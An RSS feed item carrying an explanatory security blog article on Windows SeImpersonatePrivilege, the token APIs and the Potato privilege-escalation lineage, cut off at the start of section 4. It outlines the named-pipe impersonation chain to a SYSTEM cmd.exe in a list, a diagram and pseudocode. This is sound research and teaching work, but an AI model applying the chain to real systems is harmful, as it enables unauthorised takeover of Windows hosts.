<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Parag Mali - tag: msrc</title><description>Posts tagged msrc.</description><link>https://paragmali.com/</link><language>en-US</language><lastBuildDate>Sun, 07 Jun 2026 04:13:06 GMT</lastBuildDate><atom:link href="https://paragmali.com/tags/msrc/rss.xml" rel="self" type="application/rss+xml"/><item><title>A Mitigation That Became a Primitive: The Story of SeImpersonatePrivilege</title><link>https://paragmali.com/blog/a-mitigation-that-became-a-primitive-the-story-of-seimperson/</link><guid isPermaLink="true">https://paragmali.com/blog/a-mitigation-that-became-a-primitive-the-story-of-seimperson/</guid><description>How a 2003 backward-compatibility privilege became the most-abused Windows service primitive, and why every Microsoft closure path breaks something shipped.</description><pubDate>Tue, 02 Jun 2026 00:00:00 GMT</pubDate><content:encoded>
Any Windows process running as `IIS APPPOOL\...`, `MSSQLSERVER`, or any other LOCAL SERVICE or NETWORK SERVICE-derived account holds one privilege -- `SeImpersonatePrivilege` -- that is sufficient, given any token-source primitive, to become `NT AUTHORITY\SYSTEM`. The privilege was introduced in Windows Server 2003 as a *mitigation*, so that lower-privileged service accounts could keep impersonating their RPC clients after Microsoft moved services off `SYSTEM`. Eighteen years of named-exploit lineage -- Token Kidnapping (2008), HotPotato (2016), RottenPotato, JuicyPotato, PrintSpoofer, GodPotato, LocalPotato, SilverPotato -- all ride on the same three-piece system: the privilege, the `ImpersonateNamedPipeClient` API, and Microsoft&apos;s documented decision to treat Windows Service Hardening as a *safety* boundary rather than a *security* boundary. This article explains why every closure path Microsoft has shipped narrows the surface without closing it, and why the primitive is structurally undefeated in 2026.
&lt;h2&gt;1. The One Line in &lt;code&gt;whoami /priv&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Open a shell inside any IIS application pool worker, any SQL Server service-step process, or any Exchange worker on a fully patched Windows 11 24H2 or Server 2025 box in 2026, and type &lt;code&gt;whoami /priv&lt;/code&gt;. One line will read:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SeImpersonatePrivilege  Impersonate a client after authentication  Enabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That single line is sufficient, given the right coercion primitive, to become &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; in under a second. Microsoft has known this on the record since April 2009 [@msrc-blog-2009-04-token-kidnapping]. The privilege has not moved.&lt;/p&gt;

A Windows user right that lets a process call any of the kernel&apos;s token-substitution APIs on a token it has received from another principal. The right is enumerated as the constant `SE_IMPERSONATE_NAME` [@ms-learn-privilege-constants]. It is assigned by default to `LOCAL SERVICE`, `NETWORK SERVICE`, the local Administrators group, and every Windows service that runs under one of those accounts [@ms-learn-impersonate-policy].

Two well-known Windows accounts introduced in Windows Server 2003 / XP SP2 as a hardening alternative to running services under `NT AUTHORITY\SYSTEM`. The Microsoft Learn account documentation lists each account&apos;s default privilege set; in both cases `SE_IMPERSONATE_NAME` appears with the marker `(enabled)` [@ms-learn-localservice; @ms-learn-networkservice].
&lt;p&gt;The Microsoft Learn pages list this assignment as a default. &quot;Enabled&quot; is a token-state distinction with operational weight. Most privileges in a service-account token are &lt;em&gt;present but disabled&lt;/em&gt;: the process can call &lt;code&gt;AdjustTokenPrivileges&lt;/code&gt; to turn them on, but until that happens the kernel treats the privilege as absent during access checks. &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; on a NETWORK SERVICE token is shipped &lt;em&gt;enabled&lt;/em&gt;. The process can call &lt;code&gt;CreateProcessWithTokenW&lt;/code&gt; immediately, on first instruction.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; There is a real semantic difference between a privilege that is present-but-disabled and a privilege that is enabled. The kernel checks the &lt;em&gt;enabled&lt;/em&gt; bit during access decisions. A NETWORK SERVICE process does not need to elevate the privilege before using it; the token already has it in the active state. This is the reason a freshly spawned IIS worker is one well-aimed coercion away from SYSTEM, with no preparatory steps.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Andrea Pierini, the researcher who has spent more time with this primitive than anyone outside Microsoft, put the operational fact in eleven words: &quot;if you have SeAssignPrimaryToken or SeImpersonate privilege, you are SYSTEM&quot; [@labro-2020-printspoofer-post]. Clement Labro, quoting him, added the qualifier: &quot;a deliberately provocative shortcut obviously, but it&apos;s not far from the truth.&quot; The aphorism gets repeated in every PrintSpoofer-era writeup for a reason.&lt;/p&gt;
&lt;p&gt;Here is the article&apos;s load-bearing claim, stated up front and re-argued through every section that follows:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Microsoft gave every NETWORK SERVICE a privilege that, in the wrong hands, is equivalent to SYSTEM. They knew. They could not change it without breaking the service model. Roughly eighteen years after Cerrudo first put that fact on the record -- and ten years after HotPotato made it pushbutton -- they still have not.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The figure &quot;roughly eighteen years&quot; anchors to Cesar Cerrudo&apos;s March 2008 disclosure at Hack In The Box Dubai [@cerrudo-2008-pdf]. The privilege itself shipped earlier, in Server 2003 / XP SP2 (2003-2004), and the operational-pushbutton anchor is Stephen Breen&apos;s HotPotato (January 16, 2016) [@breen-2016-hot-potato]. Three different dates, three different anchors for &quot;how long has this been true.&quot; The article uses the Cerrudo date because that is when the fact entered the offensive-research public record.&lt;/p&gt;
&lt;p&gt;From here, this article traces the privilege from a 2003 backward-compatibility concession to a 2024 Troopers articulation by Pierini and Cocomazzi, and explains why every closure path Microsoft has shipped narrows the surface without closing it.&lt;/p&gt;
&lt;p&gt;{`
// On a Windows service account, this is the line that matters:
const tokenPrivileges = [
  { name: &apos;SeAssignPrimaryTokenPrivilege&apos;, state: &apos;Disabled&apos; },
  { name: &apos;SeIncreaseQuotaPrivilege&apos;,      state: &apos;Disabled&apos; },
  { name: &apos;SeAuditPrivilege&apos;,              state: &apos;Disabled&apos; },
  { name: &apos;SeChangeNotifyPrivilege&apos;,       state: &apos;Enabled&apos;  },
  { name: &apos;SeImpersonatePrivilege&apos;,        state: &apos;Enabled&apos;  },  // &amp;lt;-- the gate
  { name: &apos;SeCreateGlobalPrivilege&apos;,       state: &apos;Enabled&apos;  },
];&lt;/p&gt;
&lt;p&gt;const gateOpen = tokenPrivileges.some(
  p =&amp;gt; p.name === &apos;SeImpersonatePrivilege&apos; &amp;amp;&amp;amp; p.state === &apos;Enabled&apos;
);
console.log(gateOpen ? &apos;Gate is open. Token-source primitive is the only missing piece.&apos; : &apos;Gate is closed.&apos;);
`}&lt;/p&gt;
&lt;p&gt;If one line in &lt;code&gt;whoami /priv&lt;/code&gt; is sufficient to become SYSTEM, why does Microsoft ship that line as the default for every IIS application pool, every SQL Server service step, and every Exchange worker process on every shipping Windows release? The answer is not a mistake. It is a decision -- and to understand it we need to go back to a Tymshare FORTRAN compiler in the late 1970s, around 1977 by Hardy&apos;s own &quot;about eleven years ago&quot; dating from his 1988 paper.&lt;/p&gt;
&lt;h2&gt;2. Hardy&apos;s Deputy and the 2003 Service-Hardening Pivot&lt;/h2&gt;
&lt;p&gt;In the late 1970s, around 1977, a Tymshare engineer named Norm Hardy watched a FORTRAN compiler with &quot;home files license&quot; overwrite the system billing file &lt;code&gt;(SYSX)BILL&lt;/code&gt; because some user had passed that path as the compiler&apos;s debug-output target. The compiler had two authorities -- its own (to read system libraries) and the caller&apos;s (to write the caller&apos;s files) -- and no way to keep them separate when serving a request. The compiler was, in Hardy&apos;s later phrasing, &lt;em&gt;confused&lt;/em&gt; about which authority to use [@hardy-1988].&lt;/p&gt;

A program that holds authority on behalf of two or more principals at once and has no architectural way to keep those authorities separate when acting on a request. Hardy&apos;s 1988 paper [@hardy-1988] argues that any identity-and-ACL system in which a server holds more authority than its clients and acts on client requests has a confused-deputy attack surface by construction. The only complete defence, Hardy argues, is capability-based access control.
&lt;p&gt;Hardy&apos;s argument generalises: as long as authority flows ambiently with identity rather than being passed explicitly with each request, a server cannot reliably tell whose authority a given request should run under. This is not a bug class. It is a structural property of the access-matrix model Lampson formalised in 1971 [@lampson-1971]. Windows is an instance of that model. A NETWORK SERVICE process holding &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; is &lt;em&gt;Hardy&apos;s deputy&lt;/em&gt;: it carries two authorities at once (its own modest service identity and whatever caller just connected to its named pipe), and Windows has no in-architecture way to keep them apart.&lt;/p&gt;

Capability systems -- EROS, Coyotos, seL4 -- bind authority to operations rather than to running identities. A capability is an unforgeable token that names both an object and the rights you have on it; you cannot exercise authority you were not handed. In a capability system, Hardy&apos;s compiler would have been handed a capability only for the file the caller actually wanted opened, and the bill-overwrite would have been mechanically prevented. Windows shipped the alternative design in 1993 -- identity-and-ACL with kernel tokens carrying ambient authority -- and the rest of this article is, in a precise sense, the story of what that design costs eighteen years on. Section 8 returns to this thread.
&lt;h3&gt;2.1 The kernel object Cutler&apos;s team shipped in 1993&lt;/h3&gt;
&lt;p&gt;Dave Cutler&apos;s NT 3.1 team chose the identity-and-ACL model and built a kernel object to carry it. The &lt;em&gt;access token&lt;/em&gt; is what an NT thread or process holds; it enumerates the user SID, the group SIDs, and the privileges currently associated with the running code. Every access check the kernel performs reduces to &quot;does this token, evaluated against this object&apos;s ACL, grant the requested rights?&quot; The standard reference is &lt;em&gt;Windows Internals&lt;/em&gt;, Part 1, chapter on security [@ms-learn-windows-internals].&lt;/p&gt;

A kernel object the Windows security subsystem creates at logon (and clones on demand). It carries the user SID, group SIDs, privileges, integrity level, and impersonation level for a running thread or process. Tokens come in two flavours: *primary* (attached to a process at creation) and *impersonation* (attached to a thread to make it temporarily act as another identity).
&lt;p&gt;NT 3.1 also shipped two structural distinctions that the rest of this article depends on. First, &lt;em&gt;primary&lt;/em&gt; versus &lt;em&gt;impersonation&lt;/em&gt; tokens -- a primary token is what a process is born with; an impersonation token is what a thread can wear temporarily to act on behalf of someone else. Second, the four &lt;em&gt;impersonation levels&lt;/em&gt; (Anonymous, Identification, Impersonation, Delegation), each granting progressively more authority to act under the borrowed identity. Both distinctions exist because servers need to act on client requests under the client&apos;s authority -- and both distinctions are the surface every Potato variant operates on.&lt;/p&gt;
&lt;p&gt;The Tymshare anecdote that Hardy uses in the 1988 paper -- the FORTRAN compiler that overwrote &lt;code&gt;(SYSX)BILL&lt;/code&gt; -- is worth recounting in full because it is structurally identical to the Windows scenario. A user invoked the compiler with the billing information file as the debug-output target. The compiler had write access to system files (it was a &quot;home files license&quot; service). The compiler dutifully opened the user-supplied path under its own authority and wrote debug output to it, destroying the bill. The compiler was not malicious; it had no way to ask the OS to scope its write to &quot;only files the caller could write.&quot; Hardy&apos;s own dating in the paper is &quot;about eleven years ago&quot; from 1988 -- so the events sit in the late 1970s, not the early ones.&lt;/p&gt;
&lt;h3&gt;2.2 Why the privilege exists: the 2003 service-hardening pivot&lt;/h3&gt;
&lt;p&gt;Through the 1990s, Windows services almost universally ran under &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;. The convenience was operational: SYSTEM is the local-machine principal and holds every right the kernel knows about, so a service running as SYSTEM never needed an explicit privilege grant. The cost became visible in 2001-2003 as the first generation of service-borne worms hit production: Code Red and Nimda (2001) walked IIS; SQL Slammer and MSBlast (2003) walked SQL Server and the DCOM RPC endpoint [@wikipedia-timeline-worms]. Every successful remote code execution against a service became a SYSTEM compromise of the host, because the service &lt;em&gt;was&lt;/em&gt; SYSTEM.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s response was a structural retreat. Two new well-known accounts shipped in Windows Server 2003 (and reached desktop with XP SP2 in 2004): &lt;code&gt;NT AUTHORITY\LOCAL SERVICE&lt;/code&gt; (no network credentials) and &lt;code&gt;NT AUTHORITY\NETWORK SERVICE&lt;/code&gt; (machine-account credentials when authenticating off-box). The two account documentation pages enumerate the default privileges the SCM assigns when a service is configured to run under either account [@ms-learn-localservice; @ms-learn-networkservice]. Most of the SYSTEM-only privileges -- &lt;code&gt;SeTcbPrivilege&lt;/code&gt;, &lt;code&gt;SeLoadDriverPrivilege&lt;/code&gt;, &lt;code&gt;SeRestorePrivilege&lt;/code&gt; -- are absent from the enumerated default sets [@ms-learn-localservice; @ms-learn-networkservice]. The intent was clear: a worm-popped IIS worker should land as a low-privileged process, not as SYSTEM.&lt;/p&gt;
&lt;p&gt;But the new accounts could not lose &lt;em&gt;every&lt;/em&gt; SYSTEM authority. Pre-2003 services routinely impersonated their clients to make access checks against per-user resources -- IIS reading a user&apos;s home directory under the user&apos;s identity, SQL Server enforcing per-login row security, the SMB server returning per-user file lists. That entire pattern depended on the service being able to call &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; (or &lt;code&gt;RpcImpersonateClient&lt;/code&gt;, or one of the LSA-side APIs) and then act under the caller&apos;s token. If LOCAL SERVICE and NETWORK SERVICE could not impersonate, the entire RPC server population would break.&lt;/p&gt;
&lt;p&gt;So Microsoft introduced &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; -- a new named user right gating the impersonation APIs -- and assigned it by default to LOCAL SERVICE, NETWORK SERVICE, the local Administrators group, and (via the SCM&apos;s auto-grant logic) every service configured to run under one of those accounts [@ms-learn-impersonate-policy]. The policy-setting page is explicit about the intent: &quot;If this user right is required for this type of impersonation, an unauthorized user cannot cause a client to connect (for example, by remote procedure call (RPC) or named pipes) to a service that they have created to impersonate that client&quot; [@ms-learn-impersonate-policy].&lt;/p&gt;
&lt;p&gt;The privilege, in other words, was created &lt;em&gt;as a mitigation&lt;/em&gt;. Its purpose was to keep impersonation working for legitimate service-account RPC servers while denying it to ordinary user processes. That decision -- to gate impersonation on an explicit named right rather than to forbid impersonation outright -- is the architectural pivot the rest of this article re-examines from every angle.&lt;/p&gt;

flowchart TD
    Client[&quot;Low-privileged caller&quot;] -- &quot;Connects to attacker pipe&quot; --&amp;gt; NS[&quot;NETWORK SERVICE process&quot;]
    NS -- &quot;Holds its own modest authority&quot; --&amp;gt; A1[&quot;Authority 1, service identity&quot;]
    NS -- &quot;Holds SeImpersonatePrivilege&quot; --&amp;gt; A2[&quot;Authority 2, any token it receives&quot;]
    SYSPROC[&quot;Privileged caller, SYSTEM&quot;] -- &quot;Coerced to authenticate to the pipe&quot; --&amp;gt; NS
    NS -- &quot;Impersonate caller token, then act&quot; --&amp;gt; Action[&quot;Action runs under SYSTEM&quot;]
&lt;p&gt;Microsoft did not introduce &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; to enable an exploit. They introduced it as a backward-compatibility concession. So why did the privilege become the dominant lineage of service-to-SYSTEM elevation for nearly two decades? The answer starts with the API surface.&lt;/p&gt;
&lt;h2&gt;3. The Token API Surface&lt;/h2&gt;
&lt;p&gt;There is no single &quot;impersonate&quot; API on Windows. There are four substitution APIs that put a token on a thread or a new process, and one coercion API that supplies the token in the first place. The Potato family lives at the intersection of all five.&lt;/p&gt;
&lt;h3&gt;3.1 Primary versus impersonation tokens&lt;/h3&gt;
&lt;p&gt;The kernel distinguishes &lt;code&gt;TOKEN_PRIMARY&lt;/code&gt; from &lt;code&gt;TOKEN_IMPERSONATION&lt;/code&gt;. A primary token is what a process is created with; an impersonation token can be attached only to a thread. The distinction matters operationally because only an impersonation token at level &lt;code&gt;SecurityImpersonation&lt;/code&gt; or &lt;code&gt;SecurityDelegation&lt;/code&gt; lets you take real action under the borrowed identity. An &lt;code&gt;Identification&lt;/code&gt;-level token can be checked against ACLs but cannot be used to open kernel objects under the new identity, and an &lt;code&gt;Anonymous&lt;/code&gt;-level token is useless for almost everything [@ms-learn-windows-internals; @ms-learn-impersonateloggedonuser].&lt;/p&gt;

A *primary token* is created at logon and attached to a process for its lifetime; the kernel uses it for every access check the process makes by default. An *impersonation token* is attached to an individual thread by `SetThreadToken` (or by an impersonation API that calls it internally) and overrides the primary token for that thread only. The kernel reserves the right to demote impersonation tokens to `Identification` level in cross-machine RPC scenarios where delegation has not been explicitly negotiated.

A four-value enum -- `SecurityAnonymous`, `SecurityIdentification`, `SecurityImpersonation`, `SecurityDelegation` -- carried on every impersonation token. It limits what the impersonating thread can do under the borrowed identity. `SecurityImpersonation` is the level a service can act under for local access checks; `SecurityDelegation` extends that to off-box authentication and is the level the LocalPotato class occasionally reaches.
&lt;p&gt;The Potato lineage navigates these four levels with care. &lt;code&gt;Identification&lt;/code&gt; is harmless because it cannot spawn a process under the borrowed identity; &lt;code&gt;Impersonation&lt;/code&gt; is the level a service can act under for any local kernel object; &lt;code&gt;Delegation&lt;/code&gt; is what cross-host variants such as SilverPotato sometimes need.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;SecurityIdentification&lt;/code&gt; versus &lt;code&gt;SecurityImpersonation&lt;/code&gt; distinction is the gate that makes many naive coercion attempts fail. If the attacker controls only an RPC interface that performs an &lt;code&gt;ImpersonateClient&lt;/code&gt; call without the right SQOS (Security Quality of Service) negotiation, the resulting token may land at &lt;code&gt;SecurityIdentification&lt;/code&gt; -- usable for &lt;code&gt;AccessCheck&lt;/code&gt;, useless for &lt;code&gt;CreateProcessWithTokenW&lt;/code&gt;. Each Potato variant either chooses a coercion primitive that arrives at &lt;code&gt;SecurityImpersonation&lt;/code&gt; or upgrades the token via a subsequent &lt;code&gt;DuplicateTokenEx&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;3.2 The substitution primitives&lt;/h3&gt;
&lt;p&gt;Four APIs move tokens around the system. None of them produces a token from nothing; all of them assume the caller already has a handle to one.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SetThreadToken&lt;/code&gt; -- attach an impersonation token to a thread [@ms-learn-setthreadtoken]. The thread now runs under the borrowed identity for every subsequent access check.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ImpersonateLoggedOnUser&lt;/code&gt; -- the thread-level convenience wrapper [@ms-learn-impersonateloggedonuser]. Same effect as &lt;code&gt;SetThreadToken&lt;/code&gt;, with simpler arguments.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DuplicateTokenEx&lt;/code&gt; -- create a new token from an existing one, with adjustable type (primary vs impersonation) and level (the four-value enum above) [@ms-learn-duplicatetokenex]. The Potato lineage uses this to convert an impersonation token into a primary one before launching a process.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CreateProcessWithTokenW&lt;/code&gt; -- spawn a new process under an arbitrary primary token [@ms-learn-createprocesswithtokenw]. The Microsoft Learn documentation is explicit about the gate: &quot;The process that calls &lt;strong&gt;CreateProcessWithTokenW&lt;/strong&gt; must have the &lt;code&gt;SE_IMPERSONATE_NAME&lt;/code&gt; privilege.&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That last sentence is the keystone. &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; is not just &quot;the right to impersonate.&quot; It is the right to convert an impersonated identity into a fresh process that owns the desktop, the registry, the file system, and every other kernel object the borrowed identity has authority over. Without the privilege, the attacker has a thread temporarily wearing SYSTEM&apos;s hat; with it, the attacker has &lt;code&gt;cmd.exe&lt;/code&gt; running as SYSTEM until the system reboots.&lt;/p&gt;
&lt;h3&gt;3.3 The coercion primitive&lt;/h3&gt;
&lt;p&gt;The three substitution primitives are inert without a token to substitute. The dominant token source on Windows is the named-pipe server primitive &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt;, shipped since Windows XP / Server 2003 [@ms-learn-impersonatenamedpipeclient]. Any process that owns a named pipe can call this API after a client connects; the impersonating thread then wears the caller&apos;s token at whatever impersonation level the caller&apos;s SQOS negotiated.&lt;/p&gt;

A Win32 API that copies the connected client&apos;s access token onto the calling thread, after which the thread acts under the client&apos;s identity until `RevertToSelf` is called. The API has shipped since Windows XP / Server 2003 [@ms-learn-impersonatenamedpipeclient]. It is the load-bearing token source for every Potato variant from HotPotato through GodPotato. Calling the API at higher than `SecurityIdentification` requires `SeImpersonatePrivilege` on the caller.
&lt;p&gt;This is the four-step chain every Potato operator runs, as enumerated in Forshaw&apos;s 2021 Project Zero retrospective on the lineage [@forshaw-2021-10-relaying-dcom-pz]:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;CreateNamedPipe(&quot;\\.\pipe\&amp;lt;attacker_name&amp;gt;&quot;)&lt;/code&gt; -- a service-account process opens a pipe it controls.&lt;/li&gt;
&lt;li&gt;Induce some privileged Windows component to authenticate to that pipe.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; -- the impersonating thread now wears the caller&apos;s token.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DuplicateTokenEx&lt;/code&gt; to primary; &lt;code&gt;CreateProcessWithTokenW(cmd.exe)&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

sequenceDiagram
    participant Atk as Attacker, service account
    participant Pipe as Named pipe attacker controls
    participant Sys as Privileged caller, SYSTEM-context
    Atk-&amp;gt;&amp;gt;Pipe: CreateNamedPipe and listen
    Atk-&amp;gt;&amp;gt;Sys: Trigger coercion primitive
    Sys-&amp;gt;&amp;gt;Pipe: Authenticate to the pipe
    Atk-&amp;gt;&amp;gt;Pipe: ImpersonateNamedPipeClient
    Atk-&amp;gt;&amp;gt;Atk: DuplicateTokenEx, impersonation to primary
    Atk-&amp;gt;&amp;gt;Atk: CreateProcessWithTokenW cmd.exe
    Note over Atk: cmd.exe now running as SYSTEM
&lt;p&gt;Step three depends on step two. Step two is the open question every generation of Potato has answered differently -- and that Microsoft has patched, one token source at a time, for nearly two decades.&lt;/p&gt;
&lt;p&gt;{`
// Pseudocode showing the four-step Potato chain.
// Privilege checks shown as comments where the kernel enforces them.&lt;/p&gt;
&lt;p&gt;function impersonationChain(coercionTrigger) {
  const pipe = createNamedPipe(&quot;\\.\pipe\demo&quot;);            // no privilege required
  coercionTrigger(pipe);                                          // induce SYSTEM to connect
  pipe.waitForConnect();&lt;/p&gt;
&lt;p&gt;  // kernel allows SecurityImpersonation only if caller has SeImpersonatePrivilege:
  const callerToken = pipe.impersonateNamedPipeClient();&lt;/p&gt;
&lt;p&gt;  const primary = duplicateTokenEx(callerToken, &quot;primary&quot;,
                                   &quot;SecurityImpersonation&quot;);      // no privilege required&lt;/p&gt;
&lt;p&gt;  // kernel gate: requires SE_IMPERSONATE_NAME on the calling process:
  return createProcessWithTokenW(primary, &quot;cmd.exe&quot;);
}
`}&lt;/p&gt;
&lt;h3&gt;3.4 The privilege next to it&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;CreateProcessWithTokenW&lt;/code&gt; is gated on &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt;. Its sibling &lt;code&gt;CreateProcessAsUser&lt;/code&gt; is gated on a &lt;em&gt;different&lt;/em&gt; pair of privileges -- &lt;code&gt;SeAssignPrimaryTokenPrivilege&lt;/code&gt; (constant name &lt;code&gt;SE_ASSIGNPRIMARYTOKEN_NAME&lt;/code&gt;) when the supplied token is not assignable by the caller, plus &lt;code&gt;SeIncreaseQuotaPrivilege&lt;/code&gt; (&lt;code&gt;SE_INCREASE_QUOTA_NAME&lt;/code&gt;) in all cases. Both are enumerated separately in the privilege-constants table [@ms-learn-privilege-constants]. On a NETWORK SERVICE or LOCAL SERVICE token, &lt;code&gt;SE_ASSIGNPRIMARYTOKEN_NAME&lt;/code&gt; and &lt;code&gt;SE_INCREASE_QUOTA_NAME&lt;/code&gt; are both &lt;em&gt;present but disabled&lt;/em&gt; [@ms-learn-localservice; @ms-learn-networkservice]: a service-account process must call &lt;code&gt;AdjustTokenPrivileges&lt;/code&gt; to enable them before &lt;code&gt;CreateProcessAsUser&lt;/code&gt; will succeed, whereas &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; is shipped &lt;em&gt;enabled&lt;/em&gt; and &lt;code&gt;CreateProcessWithTokenW&lt;/code&gt; works on the first instruction. Pierini&apos;s aphorism quoted in section 1 names both privileges because either one independently makes the same chain runnable -- but on a vanilla NETWORK SERVICE token, only &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; is enabled, and the rest of this article treats it as the privilege that matters in practice.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;th&gt;Privilege required&lt;/th&gt;
&lt;th&gt;Input&lt;/th&gt;
&lt;th&gt;Output&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;none for &lt;code&gt;SecurityIdentification&lt;/code&gt; or &lt;code&gt;SecurityAnonymous&lt;/code&gt;; for higher levels, either &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt;, or the token was created with explicit credentials via &lt;code&gt;LogonUser&lt;/code&gt;/&lt;code&gt;LsaLogonUser&lt;/code&gt; from within the caller&apos;s logon session, or the authenticated identity is the same as the caller (see [@ms-learn-impersonatenamedpipeclient])&lt;/td&gt;
&lt;td&gt;connected pipe handle&lt;/td&gt;
&lt;td&gt;impersonation token on thread&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ImpersonateLoggedOnUser&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;none (caller must already hold the token)&lt;/td&gt;
&lt;td&gt;token handle&lt;/td&gt;
&lt;td&gt;impersonation token on thread&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SetThreadToken&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;depends on token level&lt;/td&gt;
&lt;td&gt;token handle&lt;/td&gt;
&lt;td&gt;impersonation token on thread&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DuplicateTokenEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;none&lt;/td&gt;
&lt;td&gt;source token&lt;/td&gt;
&lt;td&gt;new token, type/level adjustable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CreateProcessWithTokenW&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;SeImpersonatePrivilege&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;primary token + command line&lt;/td&gt;
&lt;td&gt;new process&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CreateProcessAsUser&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;SeAssignPrimaryTokenPrivilege&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;primary token + command line&lt;/td&gt;
&lt;td&gt;new process&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

flowchart LR
    Process[&quot;Process, holds primary token&quot;]
    Thread[&quot;Thread, optional impersonation token&quot;]
    NewProc[&quot;New process, spawned with chosen primary token&quot;]
    Process -- &quot;OpenProcessToken, read&quot; --&amp;gt; TH[&quot;Token handle&quot;]
    TH -- &quot;SetThreadToken or ImpersonateLoggedOnUser&quot; --&amp;gt; Thread
    Thread -- &quot;GetThreadToken&quot; --&amp;gt; TH
    TH -- &quot;DuplicateTokenEx, impersonation to primary&quot; --&amp;gt; PT[&quot;Primary token handle&quot;]
    PT -- &quot;CreateProcessWithTokenW, gated on SeImpersonatePrivilege&quot; --&amp;gt; NewProc
    Pipe[&quot;Connected named pipe&quot;] -- &quot;ImpersonateNamedPipeClient, gated on SeImpersonatePrivilege beyond SecurityIdentification&quot; --&amp;gt; Thread
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The five-API surface decomposes cleanly into two halves. &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; is the kernel-side &lt;em&gt;gate&lt;/em&gt; that decides whether a process can substitute an arbitrary primary token into a new process. &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; is the user-mode &lt;em&gt;source&lt;/em&gt; that provides the token in the first place. Closing one half closes the surface. Closing neither half is the choice Microsoft has shipped for twenty years.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So how do you get a SYSTEM-context Windows process to authenticate to a pipe you control? Cesar Cerrudo asked that question in 2008 -- and his answer was just the first of five.&lt;/p&gt;
&lt;h2&gt;4. Five Generations of Token Sources, One Constant Privilege&lt;/h2&gt;
&lt;p&gt;Cesar Cerrudo had the privilege figured out in March 2008. So why did it take until January 2016 for HotPotato to make the chain pushbutton, until July 2018 for JuicyPotato to industrialise it, and until December 2022 for GodPotato to bypass the most aggressive DCOM hardening Microsoft has shipped? Because every generation answered the same question -- &lt;em&gt;where do the tokens come from?&lt;/em&gt; -- differently, and Microsoft patched each token source one at a time.&lt;/p&gt;
&lt;p&gt;This section is &lt;em&gt;generation-level&lt;/em&gt;. The variant-by-variant chronology of every named Potato lives in the &lt;a href=&quot;https://paragmali.com/blog/system-in-ten-seconds-how-the-potato-family-survived-every-m/&quot; rel=&quot;noopener&quot;&gt;sibling Potato Family article&lt;/a&gt; (2026-05-31); here, variants appear only as evidence for claims about the primitive.&lt;/p&gt;
&lt;h3&gt;4.1 Generation 1, direct token theft (2008-2010)&lt;/h3&gt;
